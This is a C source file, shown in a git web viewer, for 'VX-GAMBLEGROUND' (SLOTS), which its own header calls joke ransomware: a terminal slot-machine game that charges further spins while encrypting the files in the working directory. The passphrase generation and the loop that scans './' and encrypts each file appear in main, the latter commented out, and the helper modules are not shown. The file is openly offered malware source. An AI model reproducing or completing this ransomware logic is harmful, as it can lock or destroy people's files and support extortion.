summaryrefslogtreecommitdiff
path: root/src/VX-GAMBLEGROUND.c
blob: e905de4b611589594685c36b690c14a303bb9537 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
/***
 * SLOTS - Feelin' Lucky?
 *
 * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
 * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
 * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
 *
 *
*/

#define _GNU_SOURCE

#include "VX-GAMBLEGROUND.h"

#include "encryption.h"
#include "search.h"
#include "screen.h"
#include "ll.h"

#include <sodium.h>

#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>

#include <stdio.h>
#include <threads.h>

#define PHRASESIZE 32

const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";

static char doc[] = "lol";
static char argdoc[] = "lmao";

static struct argp_option options[] = {
    {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
    {"decrypt",     'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files",    0},
    {"noencrypt",   'n', 0, 0, "Don't encrypt files when ran, just play slots",                         0},
    {0}
};

static error_t parse_opt(int key, char *arg, struct argp_state *state) {
    struct arguments *args = state->input;

    switch(key) {
        case 'p':
        /* Specifying the start option of "-p=<phrase>" errors out unless this is done.
        // Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think 
        //  this is how it should work. RMS can suck it */
        if(*arg == '=')
            arg++;

        args->inputpass = arg;
        if(strlen(args->inputpass) != PHRASESIZE) {
            error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
        }
        break;

        case 'd':
        args->flags |= SKIPSLOTS;
        break;

        case 'n':
        args->flags |= SKIPENC;
        break;

        default:
        return ARGP_ERR_UNKNOWN;
    }

    return 0;
}

static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};


int genphrase(char *phrase, size_t phrasesize) {
    memset(phrase, 0, phrasesize);
    for(size_t i = 0; i < phrasesize; i++) {
        phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A';
        if(randombytes_random() > (0xffffffff / 2))
            phrase[i] += ('a' - 'A');
    }

    return 0;
}

// roflmao fuck this project i'm too tired to bother with making it nice
int doslots(struct bullshit *stuff) {
    // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted
    stuff->handler = (struct sigaction){
        .sa_flags = SA_SIGINFO,
        .sa_mask = SIGINT | SIGWINCH,
        .sa_sigaction = catcher,
    };
    doinit(&stuff->handler);
    docolors();

    getmaxyx(stdscr, stuff->row, stuff->col);
    stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1);
    stuff->banner = create_banner(stuff->col, stuff->randphrase);

    init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs);
    stuff->menu = new_menu(stuff->items);
    if(stuff->menu == NULL) {
        endwin();
        error(1, errno, "Could not create menu");
    }

    stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0);
    keypad(stuff->menuholder, TRUE);    
    init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC);

    stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0);
    if(stuff->slots.slotwin == NULL) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
    }
    init_slotholder(&stuff->slots);

    doupdate();

    stuff->params = (struct params){
        .bannerwin = stuff->banner,
        .menu = stuff->menu,
        .menuholder = stuff->menuholder,
        .numspins = 3,
        .price = 1,
        .slots = &stuff->slots,
    };

    handle_input(stuff->menuholder, stuff->menu, &stuff->params);

    unpost_menu(stuff->menu);
    free_menu(stuff->menu);
    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
        free_item(stuff->items[i]);

    endwin();

    return 0;
}

int doslots_twrapper(void *passed) {
    return doslots((struct bullshit*)passed);
};


int main(int argc, char *argv[]) {
    struct arguments args = {
        .inputpass = NULL,
        .flags = 0
    };
    argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);

    if(args.flags == (SKIPENC | SKIPSLOTS))
        error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure");

    struct bullshit stuff;
    thrd_t slots;
    int err;

    if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
        error(1, 0, "Thread creation failed");
    

    // if(args.inputpass != NULL) {
    //     printf("Using input passphrase \"%s\"\n", args.inputpass);
    // } else {
    //     char phrase[PHRASESIZE];
    //     genphrase(phrase, PHRASESIZE);

    //     printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase);
        
    //     if(args.flags & SKIPSLOTS != 0) {
    //         printf("Hit Enter to contine, or CTRL+C to cancel...");
    //         getchar();
    //     }
    // }

    /* Get files
    struct nodelist *files = scanfiles("./", alphasort);

    // Encrypt those files
    for(struct nodelist *p = files; p != NULL; p = p->next) {
        int fd = open(p->fullpath, O_RDWR);
        if(fd < 0) {
            error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
            continue;
        }

        passencblock(fd, phrase);
        close(fd);
    }

    nodelist_delete(files);
    //*/

    thrd_join(slots, NULL);

    return 0;
}